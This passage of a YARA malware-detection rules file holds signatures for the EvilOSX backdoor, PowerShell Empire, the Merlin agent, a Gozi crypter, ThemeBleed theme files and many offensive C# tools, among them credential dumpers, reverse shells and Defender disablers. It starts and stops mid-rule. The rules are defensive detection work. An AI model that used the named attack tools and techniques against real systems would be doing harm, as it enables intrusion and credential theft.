		$s4 = "os.Create" fullword ascii
		$s5 = "io/ioutil.WriteFile" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and $go and $init and all of ( $s* ) and #main > 10 and #scr_git > 5
}

rule SUSP_ThemeBleed_Theme_Sep23
{
	meta:
		description = "Detects domain or IP placement in Windows theme files"
		author = "@m_haggis, @nas_bench"
		date = "2023-09-13"
		reference = "https://github.com/gabe-k/themebleed"
		score = 75
		id = "76d0042b-655d-5d03-bcc4-150ebc92eb43"

	strings:
		$s1 = /Path=\\\\[0-9a-zA-Z\.-]{1,20}\\/
		$s2 = "[VisualStyles]"
		$s3 = "[Theme]"

	condition:
		filesize < 1MB and all of them
}

rule OSX_backdoor_EvilOSX
{
	meta:
		description = "EvilOSX MacOS/OSX backdoor"
		author = "John Lambert @JohnLaTwC"
		reference = "https://github.com/Marten4n6/EvilOSX, https://twitter.com/JohnLaTwC/status/966139336436498432"
		date = "2018-02-23"
		hash = "89e5b8208daf85f549d9b7df8e2a062e47f15a5b08462a4224f73c0a6223972a"
		id = "6940e355-53d2-51e3-afd0-13303a311e9a"

	strings:
		$h1 = "#!/usr/bin/env"
		$s0 = "import base64" fullword ascii
		$s1 = "b64decode" fullword ascii
		$x0 = "EvilOSX" fullword ascii
		$x1 = "get_launch_agent_directory" fullword ascii
		$enc_x0 = /(AHYAaQBsAE8AUwBYA|dmlsT1NY|RQB2AGkAbABPAFMAWA|RXZpbE9TW|UAdgBpAGwATwBTAFgA|V2aWxPU1)/ ascii
		$enc_x1 = /(AGUAdABfAGwAYQB1AG4AYwBoAF8AYQBnAGUAbgB0AF8AZABpAHIAZQBjAHQAbwByAHkA|cAZQB0AF8AbABhAHUAbgBjAGgAXwBhAGcAZQBuAHQAXwBkAGkAcgBlAGMAdABvAHIAeQ|dldF9sYXVuY2hfYWdlbnRfZGlyZWN0b3J5|Z2V0X2xhdW5jaF9hZ2VudF9kaXJlY3Rvcn|ZwBlAHQAXwBsAGEAdQBuAGMAaABfAGEAZwBlAG4AdABfAGQAaQByAGUAYwB0AG8AcgB5A|ZXRfbGF1bmNoX2FnZW50X2RpcmVjdG9ye)/ ascii

	condition:
		uint32( 0 ) == 0x752f2123 and $h1 at 0 and filesize < 30KB and all of ( $s* ) and 1 of ( $x* ) or 1 of ( $enc_x* )
}

rule PowerShell_Emp_Eval_Jul17_A1
{
	meta:
		description = "Detects suspicious sample with PowerShell content "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "PowerShell Empire Eval"
		date = "2017-07-27"
		hash1 = "4d10e80c7c80ef040efc680424a429558c7d76a965685bbc295908cb71137eba"
		id = "1699f153-f972-5e06-a94b-eb95af637e6b"

	strings:
		$s1 = "powershell" wide
		$s2 = "pshcmd" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 30KB and all of them )
}

rule PowerShell_Emp_Eval_Jul17_A2
{
	meta:
		description = "Detects suspicious sample with PowerShell content "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "PowerShell Empire Eval"
		date = "2017-07-27"
		hash1 = "e14c139159c23fdc18969afe57ec062e4d3c28dd42a20bed8ddde37ab4351a51"
		id = "8f299fcd-156c-5ce1-8582-c2a4ff2c0cfc"

	strings:
		$x1 = "\\support\\Release\\ab.pdb" ascii
		$s2 = "powershell.exe" ascii fullword

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule merlinAgent
{
	meta:
		description = "Detects Merlin agent"
		filetype = "pe, elf, mach"
		author = "Hilko Bengen"
		reference = "https://github.com/Ne0nd0g/merlin"
		date = "2017-12-26"
		id = "92346a3f-dce4-58db-893b-b7797fa20029"

	strings:
		$x1 = "Command output:\x0d\x0a\x0d\x0a%s"
		$x2 = "[-]Connecting to web server at %s to update agent configuration information."
		$x3 = "[-]%d out of %d total failed checkins"
		$x4 = "[!}Unknown AgentControl message type received %s"
		$x5 = "[-]Received Agent Kill Message"
		$x6 = "[-]Received Server OK, doing nothing"
		$x7 = "[!]There was an error with the HTTP client while performing a POST:"
		$x8 = "[-]Sleeping for %s at %s"
		$s1 = "Executing command %s %s %s"
		$s2 = "[+]Host Information:"
		$s3 = "\tHostname: %s"
		$s4 = "\tPlatform: %s"
		$s5 = "\tUser GUID: %s"

	condition:
		1 of ( $x* ) or 4 of them
}

rule MAL_GoziCrypter_Dec20_1
{
	meta:
		description = "Detects crypter associated with several Gozi samples"
		author = "James Quinn"
		reference = "YaraExchange"
		score = 70
		id = "d4a48612-fa6f-5f03-8d27-5f6b79b2a070"

	strings:
		$s1 = { 89 05 ?? ?? ?? ?? 81 2d ?? ?? ?? ?? 01 00 00 00 81 3D ?? ?? ?? ?? 00 00 00 00 }

	condition:
		uint16( 0 ) == 0x5A4D and any of them and filesize < 1000KB
}

rule HKTL_NET_GUID_CSharpSetThreadContext
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/djhohnstein/CSharpSetThreadContext"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "883bb859-d5ab-501d-8c83-0c5a2cf1f6c8"

	strings:
		$typelibguid0lo = "a1e28c8c-b3bd-44de-85b9-8aa7c18a714d" ascii wide
		$typelibguid0up = "A1E28C8C-B3BD-44DE-85B9-8AA7C18A714D" ascii wide
		$typelibguid1lo = "87c5970e-0c77-4182-afe2-3fe96f785ebb" ascii wide
		$typelibguid1up = "87C5970E-0C77-4182-AFE2-3FE96F785EBB" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DLL_Injection
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/ihack4falafel/DLL-Injection"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "aec4fc28-9aa2-5eef-9fb1-d187a83a72b3"

	strings:
		$typelibguid0lo = "3d7e1433-f81a-428a-934f-7cc7fcf1149d" ascii wide
		$typelibguid0up = "3D7E1433-F81A-428A-934F-7CC7FCF1149D" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_LimeUSB_Csharp
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/LimeUSB-Csharp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "dfa96b36-e84c-510b-b16b-bd686777b83d"

	strings:
		$typelibguid0lo = "94ea43ab-7878-4048-a64e-2b21b3b4366d" ascii wide
		$typelibguid0up = "94EA43AB-7878-4048-A64E-2B21B3B4366D" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Ladon
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/k8gege/Ladon"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "57e3d2fa-d430-561b-9d42-cf58cda5ed7a"

	strings:
		$typelibguid0lo = "c335405f-5df2-4c7d-9b53-d65adfbed412" ascii wide
		$typelibguid0up = "C335405F-5DF2-4C7D-9B53-D65ADFBED412" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_WhiteListEvasion
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/khr0x40sh/WhiteListEvasion"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "cd2740d0-0315-5a32-b34a-1998024fcc06"

	strings:
		$typelibguid0lo = "858386df-4656-4a1e-94b7-47f6aa555658" ascii wide
		$typelibguid0up = "858386DF-4656-4A1E-94B7-47F6AA555658" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Lime_Downloader
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/Lime-Downloader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "bfb0f97c-6d95-5e11-ad11-5297bcf7c3df"

	strings:
		$typelibguid0lo = "ec7afd4c-fbc4-47c1-99aa-6ebb05094173" ascii wide
		$typelibguid0up = "EC7AFD4C-FBC4-47C1-99AA-6EBB05094173" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DarkEye
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/K1ngSoul/DarkEye"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "5dc6702f-a398-5be2-9df8-9a2ddc636a1f"

	strings:
		$typelibguid0lo = "0bdb9c65-14ed-4205-ab0c-ea2151866a7f" ascii wide
		$typelibguid0up = "0BDB9C65-14ED-4205-AB0C-EA2151866A7F" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpKatz
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/b4rtik/SharpKatz"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "ff084b4c-4b00-5504-85ee-d6d17b5be504"

	strings:
		$typelibguid0lo = "8568b4c1-2940-4f6c-bf4e-4383ef268be9" ascii wide
		$typelibguid0up = "8568B4C1-2940-4F6C-BF4E-4383EF268BE9" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ExternalC2
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/ryhanson/ExternalC2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "1bbdfbb9-a3e8-5ffe-9db9-b50937e6a14d"

	strings:
		$typelibguid0lo = "7266acbb-b10d-4873-9b99-12d2043b1d4e" ascii wide
		$typelibguid0up = "7266ACBB-B10D-4873-9B99-12D2043B1D4E" ascii wide
		$typelibguid1lo = "5d9515d0-df67-40ed-a6b2-6619620ef0ef" ascii wide
		$typelibguid1up = "5D9515D0-DF67-40ED-A6B2-6619620EF0EF" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Povlsomware
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/povlteksttv/Povlsomware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0eba43d2-b415-5e72-9677-4a3238ff7c34"

	strings:
		$typelibguid0lo = "fe0d5aa7-538f-42f6-9ece-b141560f7781" ascii wide
		$typelibguid0up = "FE0D5AA7-538F-42F6-9ECE-B141560F7781" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_RunShellcode
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/zerosum0x0/RunShellcode"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "249da967-68b0-59b1-b414-4eb4fe67b8f3"

	strings:
		$typelibguid0lo = "a3ec18a3-674c-4131-a7f5-acbed034b819" ascii wide
		$typelibguid0up = "A3EC18A3-674C-4131-A7F5-ACBED034B819" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpLoginPrompt
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/shantanu561993/SharpLoginPrompt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "e9a493d9-21b6-5ff1-9e5e-e8fbacc34c0c"

	strings:
		$typelibguid0lo = "c12e69cd-78a0-4960-af7e-88cbd794af97" ascii wide
		$typelibguid0up = "C12E69CD-78A0-4960-AF7E-88CBD794AF97" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Adamantium_Thief
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/LimerBoy/Adamantium-Thief"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "82225b2e-ab4a-50b8-a3fd-7ad4947d052e"

	strings:
		$typelibguid0lo = "e6104bc9-fea9-4ee9-b919-28156c1f2ede" ascii wide
		$typelibguid0up = "E6104BC9-FEA9-4EE9-B919-28156C1F2EDE" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_PSByPassCLM
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/padovah4ck/PSByPassCLM"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "dad6729f-3d96-5d2d-b72c-a96d1a3eae74"

	strings:
		$typelibguid0lo = "46034038-0113-4d75-81fd-eb3b483f2662" ascii wide
		$typelibguid0up = "46034038-0113-4D75-81FD-EB3B483F2662" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_physmem2profit
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/FSecureLABS/physmem2profit"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "75a27970-c469-53da-b0c3-b3d0faea0b6f"

	strings:
		$typelibguid0lo = "814708c9-2320-42d2-a45f-31e42da06a94" ascii wide
		$typelibguid0up = "814708C9-2320-42D2-A45F-31E42DA06A94" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_NoAmci
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/med0x2e/NoAmci"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "5fab1551-9d35-53cf-a04f-c14370119553"

	strings:
		$typelibguid0lo = "352e80ec-72a5-4aa6-aabe-4f9a20393e8e" ascii wide
		$typelibguid0up = "352E80EC-72A5-4AA6-AABE-4F9A20393E8E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpBlock
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/CCob/SharpBlock"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "b84538da-1b0e-50c7-abfa-e93d6de5a49b"

	strings:
		$typelibguid0lo = "3cf25e04-27e4-4d19-945e-dadc37c81152" ascii wide
		$typelibguid0up = "3CF25E04-27E4-4D19-945E-DADC37C81152" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_nopowershell
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/bitsadmin/nopowershell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0fd7496b-e34f-51f7-9270-ad424ed6a7a8"

	strings:
		$typelibguid0lo = "555ad0ac-1fdb-4016-8257-170a74cb2f55" ascii wide
		$typelibguid0up = "555AD0AC-1FDB-4016-8257-170A74CB2F55" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_LimeLogger
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/LimeLogger"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0798f01b-76b7-5c4d-9ddb-5e377b86f8b9"

	strings:
		$typelibguid0lo = "068d14ef-f0a1-4f9d-8e27-58b4317830c6" ascii wide
		$typelibguid0up = "068D14EF-F0A1-4F9D-8E27-58B4317830C6" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AggressorScripts
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/harleyQu1nn/AggressorScripts"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "d5903db5-010b-5b9d-8a5b-5d61aec52e7a"

	strings:
		$typelibguid0lo = "afd1ff09-2632-4087-a30c-43591f32e4e8" ascii wide
		$typelibguid0up = "AFD1FF09-2632-4087-A30C-43591F32E4E8" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Gopher
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/EncodeGroup/Gopher"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "e3015719-9085-584d-8237-f377ec995149"

	strings:
		$typelibguid0lo = "b5152683-2514-49ce-9aca-1bc43df1e234" ascii wide
		$typelibguid0up = "B5152683-2514-49CE-9ACA-1BC43DF1E234" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AVIator
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Ch0pin/AVIator"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "52acd520-52aa-5bb9-ab3b-66a940aa5f5a"

	strings:
		$typelibguid0lo = "4885a4a3-4dfa-486c-b378-ae94a221661a" ascii wide
		$typelibguid0up = "4885A4A3-4DFA-486C-B378-AE94A221661A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_njCrypter
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/0xPh0enix/njCrypter"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "c30c8323-9418-521a-a4fc-6be0113b99b5"

	strings:
		$typelibguid0lo = "8a87b003-4b43-467b-a509-0c8be05bf5a5" ascii wide
		$typelibguid0up = "8A87B003-4B43-467B-A509-0C8BE05BF5A5" ascii wide
		$typelibguid1lo = "80b13bff-24a5-4193-8e51-c62a414060ec" ascii wide
		$typelibguid1up = "80B13BFF-24A5-4193-8E51-C62A414060EC" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpMiniDump
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/b4rtik/SharpMiniDump"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "e91e6711-d992-5a8a-97e6-1ed7847f38a4"

	strings:
		$typelibguid0lo = "6ffccf81-6c3c-4d3f-b15f-35a86d0b497f" ascii wide
		$typelibguid0up = "6FFCCF81-6C3C-4D3F-B15F-35A86D0B497F" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_CinaRAT
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/wearelegal/CinaRAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "c6b4c919-0fc6-5096-b29b-963142a2c831"

	strings:
		$typelibguid0lo = "8586f5b1-2ef4-4f35-bd45-c6206fdc0ebc" ascii wide
		$typelibguid0up = "8586F5B1-2EF4-4F35-BD45-C6206FDC0EBC" ascii wide
		$typelibguid1lo = "fe184ab5-f153-4179-9bf5-50523987cf1f" ascii wide
		$typelibguid1up = "FE184AB5-F153-4179-9BF5-50523987CF1F" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ToxicEye
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/LimerBoy/ToxicEye"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "0b7b62ce-9c24-5d81-8d87-22f6e461a62b"

	strings:
		$typelibguid0lo = "1bcfe538-14f4-4beb-9a3f-3f9472794902" ascii wide
		$typelibguid0up = "1BCFE538-14F4-4BEB-9A3F-3F9472794902" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Disable_Windows_Defender
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/Disable-Windows-Defender"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "9a673427-e66e-594b-942a-64a2272319f3"

	strings:
		$typelibguid0lo = "501e3fdc-575d-492e-90bc-703fb6280ee2" ascii wide
		$typelibguid0up = "501E3FDC-575D-492E-90BC-703FB6280EE2" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DInvoke_PoC
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/dtrizna/DInvoke_PoC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"

	strings:
		$typelibguid0lo = "5a869ab2-291a-49e6-a1b7-0d0f051bef0e" ascii wide
		$typelibguid0up = "5A869AB2-291A-49E6-A1B7-0D0F051BEF0E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ReverseShell
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/chango77747/ReverseShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "876932d5-a65d-5230-9cb8-24038ad8af0d"

	strings:
		$typelibguid0lo = "980109e4-c988-47f9-b2b3-88d63fababdc" ascii wide
		$typelibguid0up = "980109E4-C988-47F9-B2B3-88D63FABABDC" ascii wide
		$typelibguid1lo = "8abe8da1-457e-4933-a40d-0958c8925985" ascii wide
		$typelibguid1up = "8ABE8DA1-457E-4933-A40D-0958C8925985" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpC2
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/SharpC2/SharpC2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "2ed6d74e-2b95-5c70-807a-4da5e62f5853"

	strings:
		$typelibguid0lo = "62b9ee4f-1436-4098-9bc1-dd61b42d8b81" ascii wide
		$typelibguid0up = "62B9EE4F-1436-4098-9BC1-DD61B42D8B81" ascii wide
		$typelibguid1lo = "d2f17a91-eb2d-4373-90bf-a26e46c68f76" ascii wide
		$typelibguid1up = "D2F17A91-EB2D-4373-90BF-A26E46C68F76" ascii wide
		$typelibguid2lo = "a9db9fcc-7502-42cd-81ec-3cd66f511346" ascii wide
		$typelibguid2up = "A9DB9FCC-7502-42CD-81EC-3CD66F511346" ascii wide
		$typelibguid3lo = "ca6cc2ee-75fd-4f00-b687-917fa55a4fae" ascii wide
		$typelibguid3up = "CA6CC2EE-75FD-4F00-B687-917FA55A4FAE" ascii wide
		$typelibguid4lo = "a1167b68-446b-4c0c-a8b8-2a7278b67511" ascii wide
		$typelibguid4up = "A1167B68-446B-4C0C-A8B8-2A7278B67511" ascii wide
		$typelibguid5lo = "4d8c2a88-1da5-4abe-8995-6606473d7cf1" ascii wide
		$typelibguid5up = "4D8C2A88-1DA5-4ABE-8995-6606473D7CF1" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SneakyExec
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/HackingThings/SneakyExec"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "853b630d-77ba-5847-a129-c9fa0538f81b"

	strings:
		$typelibguid0lo = "612590aa-af68-41e6-8ce2-e831f7fe4ccc" ascii wide
		$typelibguid0up = "612590AA-AF68-41E6-8CE2-E831F7FE4CCC" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_UrbanBishopLocal
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/slyd0g/UrbanBishopLocal"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-13"
		modified = "2023-04-06"
		id = "53b690ec-7d20-5e46-b368-b458ce56073d"

	strings:
		$typelibguid0lo = "88b8515e-a0e8-4208-a9a0-34b01d7ba533" ascii wide
		$typelibguid0up = "88B8515E-A0E8-4208-A9A0-34B01D7BA533" ascii wide

	condition:
